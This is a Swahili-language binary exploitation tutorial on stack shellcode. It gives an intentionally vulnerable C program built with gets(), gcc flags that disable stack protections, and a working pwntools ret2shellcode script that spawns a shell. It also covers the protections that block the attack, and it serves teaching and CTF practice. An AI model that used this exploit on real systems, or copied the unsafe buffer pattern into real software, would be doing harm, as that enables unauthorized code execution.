# Msimbo wa Stack Shellcode

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## Taarifa Msingi

**Msimbo wa stack shellcode** ni mbinu inayotumiwa katika **udukuzi wa binary** ambapo muhusika anaandika msimbo wa shell kwenye stack ya programu yenye mapungufu kisha anabadilisha **Mpokeaji wa Maelekezo (IP)** au **Mpokeaji wa Maelekezo Mpana (EIP)** ili kuashiria eneo la msimbo huu wa shell, kusababisha utekelezaji wake. Hii ni njia ya kawaida inayotumiwa kupata ufikiaji usioruhusiwa au kutekeleza amri za kiholela kwenye mfumo lengwa. Hapa kuna maelezo ya mchakato, pamoja na mfano rahisi wa C na jinsi unaweza kuandika udanganyifu unaofanana kwa kutumia Python na **pwntools**.

### Mfano wa C: Programu yenye Mapungufu

Tuanze na mfano rahisi wa programu ya C yenye mapungufu:
```c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Programu hii ina mapungufu ya kujaza buffer kutokana na matumizi ya kazi ya `gets()`.

### Uundaji

Ili kuunda programu hii huku ukizima ulinzi mbalimbali (kwa lengo la kusimuliza mazingira yanayoweza kudukuliwa), unaweza kutumia amri ifuatayo:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Inazuia ulinzi wa stack.
* `-z execstack`: Inafanya stack iweze kutekelezwa, ambayo ni muhimu kwa kutekeleza shellcode iliyohifadhiwa kwenye stack.
* `-no-pie`: Inazuia Position Independent Executable, ikifanya iwe rahisi kutabiri anwani ya kumbukumbu ambapo shellcode yetu itakuwepo.
* `-m32`: Inakusanya programu kama utekelezaji wa biti 32, mara nyingi hutumiwa kwa urahisi katika maendeleo ya kutumia mwanya.

### Shambulizi la Python kwa kutumia Pwntools

Hapa ndio jinsi unavyoweza kuandika shambulizi kwa kutumia Python ukitumia **pwntools** kutekeleza shambulizi la **ret2shellcode**.
```python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()
```
Hii script inajenga mzigo unaounda **slaidi ya NOP**, **shellcode**, na kisha kubadilisha **EIP** na anwani inayoashiria kwenye slaidi ya NOP, ikisimamia shellcode ipate kutekelezwa.

**Slaidi ya NOP** (`asm('nop')`) hutumiwa kuongeza nafasi kwamba utekelezaji uta "kusukuma" kuingia kwenye shellcode yetu bila kujali anwani sahihi. Badilisha hoja ya `p32()` kwa anwani ya kuanzia ya buffer yako pamoja na kufanya marekebisho ili kutua kwenye slaidi ya NOP.

## Kinga

* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **inapaswa kuzimwa** ili anwani iweze kutegemewa kote kwenye utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja fulani ili kugundua wapi kazi ya ushindi imehifadhiwa.
* [**Canaries ya Stack**](../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzimwa au anwani iliyoharibiwa ya kurudi kwa EIP haitafuatwa kamwe.
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) kinga ya **stack** itazuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitakuwa la kutekelezeka.

## Mifano na Marejeo Mengine

* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64bit, ASLR na kuvuja kwa anwani ya stack, andika shellcode na ruka kwenda kwake
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32 bit, ASLR na kuvuja kwa anwani ya stack, andika shellcode na ruka kwenda kwake
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32 bit, ASLR na kuvuja kwa anwani ya stack, kulinganisha kuzuia wito wa exit(), badilisha variable na thamani na andika shellcode na ruka kwenda kwake